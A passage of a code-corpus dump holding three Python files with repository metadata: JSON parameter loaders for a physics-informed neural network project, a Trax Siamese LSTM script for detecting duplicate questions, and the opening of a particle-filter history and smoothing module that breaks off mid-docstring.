["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.9189189189, "max_line_length": 79, "alphanum_fraction": 0.5496283752, "include": true, "reason": "import numpy", "num_tokens": 3481, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4378235137849365, "lm_q2_score": 0.12592276483513232, "lm_q1q2_score": 0.05513194736563187}}
{"text": "###################################################################################################\n# (c) 2022 Birgit Hillebrecht\n# \n# This code has been developed as part of \n# \t  Certified machine learning: A posteriori error estimation for physics-informed neural networks\n#     https://doi.org/10.48550/arXiv.2203.17055\n# please kindly consider citing this publication when using this code.\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n# \n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n#\n###################################################################################################\n\nimport json\nimport numpy as np\n\ndef load_training_params(filepath):\n    \"\"\"\n    Loads parameters to configure the training from the json file provided via param filepath\n\n    returns\n    - epochs: number of epochs used for training\n    - n_phys: number of collocation points for the PINN\n    \"\"\"\n\n    with open(filepath, \"r\") as jsonfile:\n        data = json.load(jsonfile)\n        jsonfile.close()\n\n    opt = None\n    try: \n        opt = str(data['optimizer'])\n    except KeyError as e:\n        opt = None    \n\n    return int(data['epochs']), int(data['n_phys']), opt\n\ndef load_nn_params(filepath):\n    \"\"\"\n    Loads parameters for the neural network from the json file provided via param filepath.\n\n    returns \n    - input_dim: number of input nodes\n    - output_dim: number of output nodes\n    - num_layers: number of layers\n    - num_neurons: number of nodes per layer\n    - lower_bound: lower bounds on input node values\n    - upper_bound: upper bounds on input node values\n    - af (None): if set in json, the value for the activation function\n    \"\"\"\n\n    with open(filepath, \"r\") as jsonfile:\n        data = json.load(jsonfile)\n        jsonfile.close()\n\n    lb = np.array(data['lower_bound'])\n    ub = np.array(data['upper_bound'])\n\n    af = None\n    try: \n        af = str(data['activation_function'])\n    except KeyError as e:\n        af = None\n\n    return int(data['input_dim']), int(data['output_dim']), int(data['num_layers']), int(data['num_neurons']), lb.astype(np.float), ub.astype(np.float), af\n\ndef load_ee_params(filepath):\n    \"\"\"\n    Loads parameters for a posteriori error estimation for the PINN from the json file provided via param filepath.\n\n    returns \n    - K: as used for trapezoidal rule\n    - mu: smoothing parameter for delta function\n    - L_f: Lipschitz constant or spectral abscissa\n    - delta_mean: average deviation of approximated ODE/PDE from target ODE/PDE\n    \"\"\"\n    with open(filepath, \"r\") as jsonfile:\n        data = json.load(jsonfile)\n        jsonfile.close()\n\n    return float(data['K']), float(data['mu']), float(data['L_f']), float(data['delta_mean'])\n\ndef has_param(filepath, param_name):\n    \"\"\"\n    Checks if keyword param_name exists in json file\n\n    :param string filepath: path to json file\n    :param string param_name: keyword used for parameter in json file.\n    \"\"\"\n    with open(filepath, \"r\") as jsonfile:\n        data = json.load(jsonfile)\n        jsonfile.close()\n\n    try: \n        data[param_name] \n    except KeyError as e:\n        return False\n\n    return True\n\ndef get_param_as_float(filepath, param_name):\n    \"\"\"\n    Extracts parameter as float from json file. Does not check existance, misuse may lead to exceptions.\n    Call has_param first.\n\n    :param string filepath: path to json file\n    :param string param_name: keyword used for parameter in json file.\n    \"\"\"\n    with open(filepath, \"r\") as jsonfile:\n        data = json.load(jsonfile)\n        jsonfile.close()\n\n    return float( data[param_name] )\n\ndef get_param_as_int(filepath, param_name):\n    \"\"\"\n    Extracts parameter as integer from json file. Does not check existance, misuse may lead to exceptions.\n    Call has_param first.\n\n    :param string filepath: path to json file\n    :param string param_name: keyword used for parameter in json file.\n    \"\"\"    \n    with open(filepath, \"r\") as jsonfile:\n        data = json.load(jsonfile)\n        jsonfile.close()\n\n    return int( data[param_name] )\n\ndef get_param_as_array(filepath, param_name):\n    \"\"\"\n    Extracts parameter as array from json file. Does not check existance, misuse may lead to exceptions.\n    Call has_param first.\n\n    :param string filepath: path to json file\n    :param string param_name: keyword used for parameter in json file.\n    \"\"\"    \n    with open(filepath, \"r\") as jsonfile:\n        data = json.load(jsonfile)\n        jsonfile.close()\n\n    return np.array( data[param_name] )\n\ndef get_param_as_string(filepath, param_name):\n    \"\"\"\n    Extracts parameter as string from json file. Does not check existance, misuse may lead to exceptions.\n    Call has_param first.\n\n    :param string filepath: path to json file\n    :param string param_name: keyword used for parameter in json file.\n    \"\"\"    \n    with open(filepath, \"r\") as jsonfile:\n        data = json.load(jsonfile)\n        jsonfile.close()\n\n    return str( data[param_name] )\n\ndef get_param_as_boolean(filepath, param_name):\n    \"\"\"\n    Extracts parameter as boolean from json file. Does not check existance, misuse may lead to exceptions.\n    Call has_param first.\n\n    :param string filepath: path to json file\n    :param string param_name: keyword used for parameter in json file.\n    \"\"\"        \n    with open(filepath, \"r\") as jsonfile:\n        data = json.load(jsonfile)\n        jsonfile.close()\n\n    return bool( (data[param_name] == \"True\") or (data[param_name] == \"true\") ) ", "meta": {"hexsha": "e17e4dbf18de0af2b4e5248021e171d4f7c8e8d4", "size": 6417, "ext": "py", "lang": "Python", "max_stars_repo_path": "helpers/nn_parametrization.py", "max_stars_repo_name": "bhillebrecht/CertifiedML-ODE", "max_stars_repo_head_hexsha": "81f0041d2fb798f1efc72f5d45149034d7d327f3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "helpers/nn_parametrization.py", "max_issues_repo_name": "bhillebrecht/CertifiedML-ODE", "max_issues_repo_head_hexsha": "81f0041d2fb798f1efc72f5d45149034d7d327f3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "helpers/nn_parametrization.py", "max_forks_repo_name": "bhillebrecht/CertifiedML-ODE", "max_forks_repo_head_hexsha": "81f0041d2fb798f1efc72f5d45149034d7d327f3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.875, "max_line_length": 155, "alphanum_fraction": 0.6688483715, "include": true, "reason": "import numpy", "num_tokens": 1432, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4378234844434674, "lm_q2_score": 0.12592276975547595, "lm_q1q2_score": 0.05513194582511495}}
{"text": "import os\nimport nltk\nimport trax\nfrom trax import layers as tl\nfrom trax.supervised import training\nfrom trax.fastmath import numpy as fastnp\nimport numpy as np\nimport pandas as pd\nimport random as rnd\n\n# set random seeds\ntrax.supervised.trainer_lib.init_random_number_generators(34)\nrnd.seed(34)\n\ndata = pd.read_csv(\"questions.csv\")\nN=len(data)\nprint('Number of question pairs: ', N)\ndata.head()\n\nN_train = 300000\nN_test  = 10*1024\ndata_train = data[:N_train]\ndata_test  = data[N_train:N_train+N_test]\nprint(\"Train set:\", len(data_train), \"Test set:\", len(data_test))\ndel(data) # remove to free memory\n\ntd_index = (data_train['is_duplicate'] == 1).to_numpy()\nprint(td_index[:10,])\ntd_index = [i for i, x in enumerate(td_index) if x] \nprint('number of duplicate questions: ', len(td_index))\nprint('indexes of first ten duplicate questions:', td_index[:10])\n\nprint(data_train['question1'][5])  #  Example of question duplicates (first one in data)\nprint(data_train['question2'][5])\nprint('is_duplicate: ', data_train['is_duplicate'][5])\n\nQ1_train_words = np.array(data_train['question1'][td_index])\nQ2_train_words = np.array(data_train['question2'][td_index])\n\nQ1_test_words = np.array(data_test['question1'])\nQ2_test_words = np.array(data_test['question2'])\ny_test  = np.array(data_test['is_duplicate'])\n\nprint('TRAINING QUESTIONS:\\n')\nprint('Question 1: ', Q1_train_words[0])\nprint('Question 2: ', Q2_train_words[0], '\\n')\nprint('Question 1: ', Q1_train_words[5])\nprint('Question 2: ', Q2_train_words[5], '\\n')\n\nprint('TESTING QUESTIONS:\\n')\nprint('Question 1: ', Q1_test_words[0])\nprint('Question 2: ', Q2_test_words[0], '\\n')\nprint('is_duplicate =', y_test[0], '\\n')\n\n#create arrays\nQ1_train = np.empty_like(Q1_train_words)\nQ2_train = np.empty_like(Q2_train_words)\n\nQ1_test = np.empty_like(Q1_test_words)\nQ2_test = np.empty_like(Q2_test_words)\n\n# Building the vocabulary with the train set         (this might take a minute)\nfrom collections import defaultdict\n\nvocab = defaultdict(lambda: 0)\nvocab['<PAD>'] = 1\n\nfor idx in range(len(Q1_train_words)):\n    Q1_train[idx] = nltk.word_tokenize(Q1_train_words[idx])\n    Q2_train[idx] = nltk.word_tokenize(Q2_train_words[idx])\n    q = Q1_train[idx] + Q2_train[idx]\n    for word in q:\n        if word not in vocab:\n            vocab[word] = len(vocab) + 1\nprint('The length of the vocabulary is: ', len(vocab))\n\nprint(vocab['<PAD>'])\nprint(vocab['Astrology'])\nprint(vocab['Astronomy'])  #not in vocabulary, returns 0\n\nfor idx in range(len(Q1_test_words)): \n    Q1_test[idx] = nltk.word_tokenize(Q1_test_words[idx])\n    Q2_test[idx] = nltk.word_tokenize(Q2_test_words[idx])\n    \nprint('Train set has reduced to: ', len(Q1_train) ) \nprint('Test set length: ', len(Q1_test) ) \n\n# Converting questions to array of integers\nfor i in range(len(Q1_train)):\n    Q1_train[i] = [vocab[word] for word in Q1_train[i]]\n    Q2_train[i] = [vocab[word] for word in Q2_train[i]]\n\n        \nfor i in range(len(Q1_test)):\n    Q1_test[i] = [vocab[word] for word in Q1_test[i]]\n    Q2_test[i] = [vocab[word] for word in Q2_test[i]]\n    \nprint('first question in the train set:\\n')\nprint(Q1_train_words[0], '\\n') \nprint('encoded version:')\nprint(Q1_train[0],'\\n')\n\nprint('first question in the test set:\\n')\nprint(Q1_test_words[0], '\\n')\nprint('encoded version:')\nprint(Q1_test[0]) \n\n# Splitting the data\ncut_off = int(len(Q1_train)*.8)\ntrain_Q1, train_Q2 = Q1_train[:cut_off], Q2_train[:cut_off]\nval_Q1, val_Q2 = Q1_train[cut_off: ], Q2_train[cut_off:]\nprint('Number of duplicate questions: ', len(Q1_train))\nprint(\"The length of the training set is:  \", len(train_Q1))\nprint(\"The length of the validation set is: \", len(val_Q1))\n\n# UNQ_C1\ndef data_generator(Q1, Q2, batch_size, pad=1, shuffle=True):\n    \"\"\"Generator function that yields batches of data\n\n    Args:\n        Q1 (list): List of transformed (to tensor) questions.\n        Q2 (list): List of transformed (to tensor) questions.\n        batch_size (int): Number of elements per batch.\n        pad (int, optional): Pad character from the vocab. Defaults to 1.\n        shuffle (bool, optional): If the batches should be randomnized or not. Defaults to True.\n    Yields:\n        tuple: Of the form (input1, input2) with types (numpy.ndarray, numpy.ndarray)\n        NOTE: input1: inputs to your model [q1a, q2a, q3a, ...] i.e. (q1a,q1b) are duplicates\n              input2: targets to your model [q1b, q2b,q3b, ...] i.e. (q1a,q2i) i!=a are not duplicates\n    \"\"\"\n\n    input1 = []\n    input2 = []\n    idx = 0\n    len_q = len(Q1)\n    question_indexes = [*range(len_q)]\n    \n    if shuffle:\n        rnd.shuffle(question_indexes)\n    \n    while True:\n        if idx >= len_q:\n            # if idx is greater than or equal to len_q, set idx accordingly \n            # (Hint: look at the instructions above)\n            idx = 0\n            # shuffle to get random batches if shuffle is set to True\n            if shuffle:\n                rnd.shuffle(question_indexes)\n        \n        # get questions at the `question_indexes[idx]` position in Q1 and Q2\n        q1 = Q1[question_indexes[idx]]\n        q2 = Q2[question_indexes[idx]]\n        \n        # increment idx by 1\n        idx += 1\n        # append q1\n        input1.append(q1)\n        # append q2\n        input2.append(q2)\n        if len(input1) == batch_size:\n            # determine max_len as the longest question in input1 & input 2\n            # Hint: use the `max` function. \n            # take max of input1 & input2 and then max out of the two of them.\n            max_len = max(max([len(_) for _ in input1]),max([len(_) for _ in input2]))\n            # pad to power-of-2 (Hint: look at the instructions above)\n            max_len = 2**int(np.ceil(np.log2(max_len)))\n            b1 = []\n            b2 = []\n            for q1, q2 in zip(input1, input2):\n                # add [pad] to q1 until it reaches max_len\n                q1 = q1 + [pad] * (max_len - len(q1))\n                # add [pad] to q2 until it reaches max_len\n                q2 = q2 + [pad] * (max_len - len(q2))\n                # append q1\n                b1.append(q1)\n                # append q2\n                b2.append(q2)\n            # use b1 and b2\n            yield np.array(b1), np.array(b2)\n\n            # reset the batches\n            input1, input2 = [], []  # reset the batches\n            \nbatch_size = 2\nres1, res2 = next(data_generator(train_Q1, train_Q2, batch_size))\nprint(\"First questions  : \",'\\n', res1, '\\n')\nprint(\"Second questions : \",'\\n', res2)\n\n# UNQ_C2\ndef Siamese(vocab_size=len(vocab), d_model=128, mode='train'):\n    \"\"\"Returns a Siamese model.\n\n    Args:\n        vocab_size (int, optional): Length of the vocabulary. Defaults to len(vocab).\n        d_model (int, optional): Depth of the model. Defaults to 128.\n        mode (str, optional): 'train', 'eval' or 'predict', predict mode is for fast inference. Defaults to 'train'.\n\n    Returns:\n        trax.layers.combinators.Parallel: A Siamese model. \n    \"\"\"\n\n    def normalize(x):  # normalizes the vectors to have L2 norm 1\n        return x / fastnp.sqrt(fastnp.sum(x * x, axis=-1, keepdims=True))\n    \n    q_processor = tl.Serial(  # Processor will run on Q1 and Q2.\n        tl.Embedding(vocab_size, d_model), # Embedding layer\n        tl.LSTM(d_model), # LSTM layer\n        tl.Mean(axis=1), # Mean over columns\n        tl.Fn('Normalize', lambda x: normalize(x))  # Apply normalize function\n    )  # Returns one vector of shape [batch_size, d_model].\n    \n    # Run on Q1 and Q2 in parallel.\n    model = tl.Parallel(q_processor, q_processor)\n    return model\n\n# check your model\nmodel = Siamese()\nprint(model)\n\n# UNQ_C3\ndef TripletLossFn(v1, v2, margin=0.25):\n    \"\"\"Custom Loss function.\n\n    Args:\n        v1 (numpy.ndarray): Array with dimension (batch_size, model_dimension) associated to Q1.\n        v2 (numpy.ndarray): Array with dimension (batch_size, model_dimension) associated to Q2.\n        margin (float, optional): Desired margin. Defaults to 0.25.\n\n    Returns:\n        jax.interpreters.xla.DeviceArray: Triplet Loss.\n    \"\"\"\n    \n    # use fastnp to take the dot product of the two batches (don't forget to transpose the second argument)\n    scores = fastnp.dot(v1,v2.T)  # pairwise cosine sim\n    # calculate new batch size\n    batch_size = len(scores)\n    # use fastnp to grab all postive `diagonal` entries in `scores`\n    positive = fastnp.diagonal(scores)  # the positive ones (duplicates)\n    # multiply `fastnp.eye(batch_size)` with 2.0 and subtract it out of `scores`\n    negative_without_positive = scores - fastnp.eye(batch_size) * 2.0\n    # take the row by row `max` of `negative_without_positive`. \n    # Hint: negative_without_positive.max(axis = [?])  \n    closest_negative = negative_without_positive.max(axis = 1)\n    # subtract `fastnp.eye(batch_size)` out of 1.0 and do element-wise multiplication with `scores`\n    negative_zero_on_duplicate = (1.0 - fastnp.eye(batch_size)) * scores\n    # use `fastnp.sum` on `negative_zero_on_duplicate` for `axis=1` and divide it by `(batch_size - 1)` \n    mean_negative = fastnp.sum(negative_zero_on_duplicate, axis=1) / (batch_size - 1)\n    # compute `fastnp.maximum` among 0.0 and `A`\n    # A = subtract `positive` from `margin` and add `closest_negative` \n    triplet_loss1 = fastnp.maximum(margin - positive + closest_negative, 0 )\n    # compute `fastnp.maximum` among 0.0 and `B`\n    # B = subtract `positive` from `margin` and add `mean_negative`\n    triplet_loss2 = fastnp.maximum(margin - positive + mean_negative, 0 )\n    # add the two losses together and take the `fastnp.mean` of it\n    triplet_loss = fastnp.mean(triplet_loss1 + triplet_loss2)\n    return triplet_loss\n\nv1 = np.array([[0.26726124, 0.53452248, 0.80178373],[0.5178918 , 0.57543534, 0.63297887]])\nv2 = np.array([[ 0.26726124,  0.53452248,  0.80178373],[-0.5178918 , -0.57543534, -0.63297887]])\nTripletLossFn(v2,v1)\nprint(\"Triplet Loss:\", TripletLossFn(v2,v1))\n\nfrom functools import partial\ndef TripletLoss(margin=0.25):\n    triplet_loss_fn = partial(TripletLossFn, margin=margin)\n    return tl.Fn('TripletLoss', triplet_loss_fn)\n  \nbatch_size = 256\ntrain_generator = data_generator(train_Q1, train_Q2, batch_size, vocab['<PAD>'])\nval_generator = data_generator(val_Q1, val_Q2, batch_size, vocab['<PAD>'])\nprint('train_Q1.shape ', train_Q1.shape)\nprint('val_Q1.shape   ', val_Q1.shape)\n\nlr_schedule = trax.lr.warmup_and_rsqrt_decay(400, 0.01)\n\n# UNQ_C4\ndef train_model(Siamese, TripletLoss, lr_schedule, train_generator=train_generator, val_generator=val_generator, output_dir='model/'):\n    \"\"\"Training the Siamese Model\n\n    Args:\n        Siamese (function): Function that returns the Siamese model.\n        TripletLoss (function): Function that defines the TripletLoss loss function.\n        lr_schedule (function): Trax multifactor schedule function.\n        train_generator (generator, optional): Training generator. Defaults to train_generator.\n        val_generator (generator, optional): Validation generator. Defaults to val_generator.\n        output_dir (str, optional): Path to save model to. Defaults to 'model/'.\n\n    Returns:\n        trax.supervised.training.Loop: Training loop for the model.\n    \"\"\"\n    output_dir = os.path.expanduser(output_dir)\n\n    train_task = training.TrainTask(\n        labeled_data=train_generator,       # Use generator (train)\n        loss_layer=TripletLoss(),         # Use triplet loss. Don't forget to instantiate this object\n        optimizer=trax.optimizers.Adam(learning_rate = 0.01),          # Don't forget to add the learning rate parameter\n        lr_schedule=lr_schedule, # Use Trax multifactor schedule function\n    )\n\n    eval_task = training.EvalTask(\n        labeled_data=val_generator,       # Use generator (val)\n        metrics=[TripletLoss()],          # Use triplet loss. Don't forget to instantiate this object\n    )\n\n    training_loop = training.Loop(Siamese(),\n                                  train_task,\n                                  eval_task=eval_task,\n                                  output_dir=output_dir)\n\n    return training_loop\n  \n  \ntrain_steps = 5\ntraining_loop = train_model(Siamese, TripletLoss, lr_schedule)\ntraining_loop.run(train_steps)\n\n# Loading in the saved model\nmodel = Siamese()\nmodel.init_from_file('model.pkl.gz')\n\n# UNQ_C5\ndef classify(test_Q1, test_Q2, y, threshold, model, vocab, data_generator=data_generator, batch_size=64):\n    \"\"\"Function to test the accuracy of the model.\n\n    Args:\n        test_Q1 (numpy.ndarray): Array of Q1 questions.\n        test_Q2 (numpy.ndarray): Array of Q2 questions.\n        y (numpy.ndarray): Array of actual target.\n        threshold (float): Desired threshold.\n        model (trax.layers.combinators.Parallel): The Siamese model.\n        vocab (collections.defaultdict): The vocabulary used.\n        data_generator (function): Data generator function. Defaults to data_generator.\n        batch_size (int, optional): Size of the batches. Defaults to 64.\n\n    Returns:\n        float: Accuracy of the model.\n    \"\"\"\n    accuracy = 0\n    for i in range(0, len(test_Q1), batch_size):\n        # Call the data generator (built in Ex 01) with shuffle=False using next()\n        # use batch size chuncks of questions as Q1 & Q2 arguments of the data generator. e.g x[i:i + batch_size]\n        # Hint: use `vocab['<PAD>']` for the `pad` argument of the data generator\n        q1, q2 = next(data_generator(test_Q1[i: i + batch_size], test_Q2[i: i+batch_size], batch_size, pad=vocab['<PAD>'], shuffle=False))\n        # use batch size chuncks of actual output targets (same syntax as example above)\n        y_test = y[i: i + batch_size]\n        # Call the model\n        v1, v2 = model((q1,q2))\n\n        for j in range(batch_size):\n            # take dot product to compute cos similarity of each pair of entries, v1[j], v2[j]\n            # don't forget to transpose the second argument\n            d = fastnp.dot(v1[j],v2[j].T)\n            # is d greater than the threshold?\n            res = d > threshold\n            # increment accurancy if y_test is equal `res`\n            accuracy += (y_test[j] == res)\n    # compute accuracy using accuracy and total length of test questions\n    accuracy = accuracy / len(test_Q1)\n\n    return accuracy\n  \n\n# this takes around 1 minute\naccuracy = classify(Q1_test,Q2_test, y_test, 0.7, model, vocab, batch_size = 512) \nprint(\"Accuracy\", accuracy)\n\n# UNQ_C6\ndef predict(question1, question2, threshold, model, vocab, data_generator=data_generator, verbose=False):\n    \"\"\"Function for predicting if two questions are duplicates.\n\n    Args:\n        question1 (str): First question.\n        question2 (str): Second question.\n        threshold (float): Desired threshold.\n        model (trax.layers.combinators.Parallel): The Siamese model.\n        vocab (collections.defaultdict): The vocabulary used.\n        data_generator (function): Data generator function. Defaults to data_generator.\n        verbose (bool, optional): If the results should be printed out. Defaults to False.\n\n    Returns:\n        bool: True if the questions are duplicates, False otherwise.\n    \"\"\"\n    # use `nltk` word tokenize function to tokenize\n    q1 = nltk.word_tokenize(question1)  # tokenize\n    q2 = nltk.word_tokenize(question2)  # tokenize\n    Q1, Q2 = [], []\n    for word in q1:  # encode q1\n        # increment by checking the 'word' index in `vocab`\n        Q1 += [vocab[word]]\n    for word in q2:  # encode q2\n        # increment by checking the 'word' index in `vocab`\n        Q2 += [vocab[word]]\n        \n    # Call the data generator (built in Ex 01) using next()\n    # pass [Q1] & [Q2] as Q1 & Q2 arguments of the data generator. Set batch size as 1\n    # Hint: use `vocab['<PAD>']` for the `pad` argument of the data generator\n    Q1, Q2 = next(data_generator([Q1], [Q2], 1, vocab['<PAD>']))\n    # Call the model\n    v1, v2 = model((Q1,Q2))\n    # take dot product to compute cos similarity of each pair of entries, v1, v2\n    # don't forget to transpose the second argument\n    d = fastnp.dot(v1, v2.T)\n    # is d greater than the threshold?\n    res = d > threshold\n    \n    if(verbose):\n        print(\"Q1  = \", Q1, \"\\nQ2  = \", Q2)\n        print(\"d   = \", d)\n        print(\"res = \", res)\n\n    return res\n  \n\n# Feel free to try with your own questions\nquestion1 = \"When will I see you?\"\nquestion2 = \"When can I see you again?\"\n# 1 means it is duplicated, 0 otherwise\npredict(question1 , question2, 0.7, model, vocab, verbose = True)\n\n# Feel free to try with your own questions\nquestion1 = \"Do they enjoy eating the dessert?\"\nquestion2 = \"Do they like hiking in the desert?\"\n# 1 means it is duplicated, 0 otherwise\npredict(question1 , question2, 0.7, model, vocab, verbose=True)\n\n", "meta": {"hexsha": "fd1e9ebb1cfc69da0cd6b70e4e34344dc50defc6", "size": 16674, "ext": "py", "lang": "Python", "max_stars_repo_path": "question_duplicates/qdr_using_siamese.py", "max_stars_repo_name": "junyaogz/pp4nlp", "max_stars_repo_head_hexsha": "9f403352dcce1874d32ba775a02cbacda0904966", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "question_duplicates/qdr_using_siamese.py", "max_issues_repo_name": "junyaogz/pp4nlp", "max_issues_repo_head_hexsha": "9f403352dcce1874d32ba775a02cbacda0904966", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "question_duplicates/qdr_using_siamese.py", "max_forks_repo_name": "junyaogz/pp4nlp", "max_forks_repo_head_hexsha": "9f403352dcce1874d32ba775a02cbacda0904966", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.1408450704, "max_line_length": 138, "alphanum_fraction": 0.6602494902, "include": true, "reason": "import numpy", "num_tokens": 4478, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.403566839388498, "lm_q2_score": 0.13660839002621936, "lm_q1q2_score": 0.055130616196832564}}
{"text": "# -*- coding: utf-8 -*-\n\n\"\"\"\nThis module implements:\n\n1. particle history classes,  which store the full or partial history\n   of a SMC algorithm.\n\n2. off-line smoothing algorithms as methods of these classes.\n\nFor on-line smoothing, see instead the `collectors` module.\n\nHistory classes\n===============\n\nA `SMC` object has a ``hist`` attribute, which is used to record at *certain*\ntimes t:\n\n* the N current particles :math:`X_t^n`;\n* their weights;\n* (optionally, see below), the ancestor variables :math:`A_t^n`.\n\nThe frequency at which history is recorded depends on option ``store_history``\nof class `SMC`. Possible options are:\n\n* ``True``: records full history (at every time t);\n* ``False``: no history (attribute `hist` set to ``None``);\n* callable ``f``: history is recorded at time t if ``f(t)`` returns True\n* int k: records a rolling window history of length k (may be used\n  to perform fixed-lag smoothing)\n\nThis module implements different classes that correspond to the different cases:\n\n* `ParticleHistory`: full history (based on lists)\n* `PartialParticleHistory`: partial history (based on dictionaries)\n* `RollingParticleHistory`: rolling window history (based on `deques`_)\n\n.. _deques: https://docs.python.org/3/library/collections.html#collections.deque\n\nAll these classes provide a similar interface. If ``smc`` is a `SMC` object,\nthen:\n\n* ``smc.hist.X[t]`` returns the N particles at time t\n* ``smc.hist.wgts[t]`` returns the N weights at time t (see `resampling.weights`)\n* ``smc.hist.A[t]`` returns the N ancestor variables at time t\n\nPartial History\n===============\n\nHere are some examples on one may record history only at certain times::\n\n    # store every other 10 iterations\n    smc = SMC(fk=fk, N=100, store_history=lambda t: (t % 10) == 0)\n\n    # store at certain times given by a list\n    times = [10, 30, 84]\n    smc = SMC(fk=fk, N=100, store_history=lambda t: t in times)\n\nOnce the algorithm is run, ``smc.hist.X`` and ``smc.hist.wgts`` are\ndictionaries, the keys of which are the times where history was recorded. The\nancestor variables are not recorded in that case::\n\n    smc.run()\n    smc.hist.X[10]  # the N particles at time 10\n    smc.hist.A[10]  # raises an error\n\n\nFull history, off-line smoothing algorithms\n===========================================\n\nFor a given state-space model, off-line smoothing amounts to approximate the\ndistribution of the complete trajectory :math:`X_{0:T}`, given data\n:math:`y_{0:T}`, at some fixed time horizon T. The corresponding algorithms\ntake as an input the complete history of a particle filter, run until time T\n(forward pass). Say::\n\n    # forward pass\n    fk = ssm.Bootstrap(ssm=my_ssm, data=y)\n    pf = particles.SMC(fk=fk, N=100, store_history=True)\n    pf.run()\n\nThen, ``pf.hist`` is an instance of class `ParticleHistory`, which has the\nfollowing methods:\n\n    * `backward_sampling`: implements O(N) and O(N^2) FFBS algorithms,\n      which generates smoothing trajectories from the history of the forward\n      pass;\n    * `backward_sampling_qmc`: same as above, but for when the forward pass\n      was based on QMC (quasi-Monte Carlo).\n    * `two_filter_smoothing`: to estimate expectations of marginal smoothing\n      distributions (using the two-filter smoothing approach).\n\nFor more details, see the documentation of `ParticleHistory`, the ipython\nnotebook on smoothing, and Chapter 12 of the book.\n\n.. warning:: the complete history of a particle filter may take a lot of\n  memory.\n\nRolling history, Fixed-lag smoothing\n====================================\n\nTo obtain a rolling window (fixed-length) history::\n\n    smc = SMC(fk=fk, N=100, store_history=10)\n    smc.run()\n\nIn that case, fields ``smc.hist.X``, ``smc.hist.wgts`` and ``smc.hist.A`` are\n`deques`_  of max length 10.  Using negative indices::\n\n    smc.hist.X[-1]  # the particles at final time T\n    smc.hist.X[-2]  # the particles at time T - 1\n    # ...\n    smc.hist.X[-10] # the N particles at time T - 9\n    smc.hist.X[-11] # raises an error\n\nNote that this type of history makes it possible to perform fixed-lag smoothing\nas follows::\n\n    B = smc.hist.compute_trajectories()\n    # B[t, n] is index of ancestor of X_T^n at time t\n    phi = lambda x: x  # any test function\n    est = np.average(phi(smc.hist.X[-10][B[-10, :]]), weights=smc.W)\n    # est is an estimate of E[ phi(X_{T-9}) | Y_{0:T}]\n\n.. note:: recall that it is possible to run `SMC` algorithms step by step,\n   since they are iterators. Hence it is possible to do fixed-lag smoothing\n   step-by-step as well.\n\n\n\"\"\"\n\nfrom __future__ import absolute_import, division, print_function\n\nfrom collections import deque\nfrom itertools import islice\nimport numpy as np\nfrom numpy import random\nfrom scipy import stats  # worker\nimport time\n\nimport particles # worker\nfrom particles import hilbert\nfrom particles import qmc\nfrom particles import resampling as rs\n\ndef generate_hist_obj(option, smc):\n    if option is True:\n        return ParticleHistory(smc.fk, smc.qmc)\n    elif option is False:\n        return None\n    elif callable(option):\n        return PartialParticleHistory(option)\n    elif isinstance(option, int) and option >= 0:\n        return RollingParticleHistory(option)\n    else:\n        raise ValueError('store_history: invalid option')\n\nclass PartialParticleHistory(object):\n    \"\"\"Partial history.\n\n    History that records the particle system only at certain times.\n    See `smoothing` module doc for more details.\n    \"\"\"\n    def __init__(self, func):\n        self.is_save_time = func\n        self.X, self.wgts = {}, {}\n\n    def save(self, smc):\n        t = smc.t\n        if self.is_save_time(t):\n            self.X[t] = smc.X\n            self.wgts[t] = smc.wgts\n\nclass RollingParticleHistory(object):\n    \"\"\"Rolling window history.\n\n    History that keeps only the k most recent particle systems. Based on\n    deques. See `smoothing` module doc for more details.\n\n    \"\"\"\n    def __init__(self, length):\n        self.X = deque([], length)\n        self.A = deque([], length)\n        self.wgts = deque([], length)\n\n    @property\n    def N(self):\n        \"\"\"Number of particles at each time step.\n        \"\"\"\n        return self.X[0].shape[0]\n\n    @property\n    def T(self):\n        \"\"\"Current length of history.\n        \"\"\"\n        return len(self.X)\n\n    def save(self, smc):\n        self.X.append(smc.X)\n        self.A.append(smc.A)\n        self.wgts.append(smc.wgts)\n\n    def compute_trajectories(self):\n        \"\"\"Compute the N trajectories that constitute the current genealogy.\n\n        Returns a (T, N) int array, such that B[t, n] is the index of ancestor\n        at time t of particle X_T^n, where T is the current length of history.\n        